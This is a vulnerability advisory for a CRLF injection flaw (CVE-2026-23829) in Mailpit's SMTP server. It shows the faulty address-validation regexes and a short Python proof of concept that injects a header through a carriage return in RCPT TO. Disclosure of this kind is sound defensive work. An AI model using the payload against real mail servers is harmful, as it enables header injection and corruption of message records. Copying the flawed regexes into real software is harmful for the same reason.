Mailpit - SMTP CRLF Injection via Regex Bypass
Advisory ID: RO-26-004
CVE ID: CVE-2026-23829
Severity: Medium
Vendor: axllent
Product: Mailpit
Version: <= v1.28.2


Overview #

A CRLF Injection vulnerability exists in Mailpit's SMTP server. The vulnerability allows attackers to inject arbitrary SMTP headers by including carriage return characters (\r) in email addresses due to insufficient regex validation.


Vulnerability Details #

Affected Versions: <= v1.28.2

Root Cause: The regex patterns used to validate RCPT TO and MAIL FROM addresses fail to exclude \r and \n characters. The \v escape sequence inside a character class only matches Vertical Tab, not CR/LF.

Vulnerable Code: The vulnerability exists in internal/smtpd/smtpd.go:

rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\v]+)>( |$)(.*)?`)
mailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\v]+)>( |$)(.*)?`)



Exploitation Requirements #

    Network access to SMTP port (default 1025)
    No authentication required

Impact #

Remote attackers can exploit this vulnerability to:

    Inject arbitrary SMTP headers
    Corrupt email metadata and Received headers
    Generate malformed .eml files
    Violate RFC 5321 compliance

Proof of Concept #

import socket

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 1025))
    s.recv(1024)
    s.send(b"EHLO test.com\r\n")
    s.recv(1024)
    s.send(b"MAIL FROM:<attacker@evil.com>\r\n")
    s.recv(1024)
    # Injecting \r
    payload = b"RCPT TO:<victim\rX-Injected: Yes>\r\n"
    s.send(payload)
    resp = s.recv(1024)
    print(f"Server Response: {resp.decode()}")  # Expect 250 OK
    s.close()

exploit()



Solution #

Upgrade to Mailpit version 1.28.3 or later.


References #

    GitHub Security Advisory GHSA-54wq-72mp-cq7c
    CWE-93: CRLF Injection
    CWE-150: Improper Neutralization of Escape Sequences

Timeline:

    [2026-01-13] - Reported
    [2026-01-15] - Fixed
    [2026-01-17] - CVE Assigned
    [2026-01-18] - Published

Credits: Omar Kurt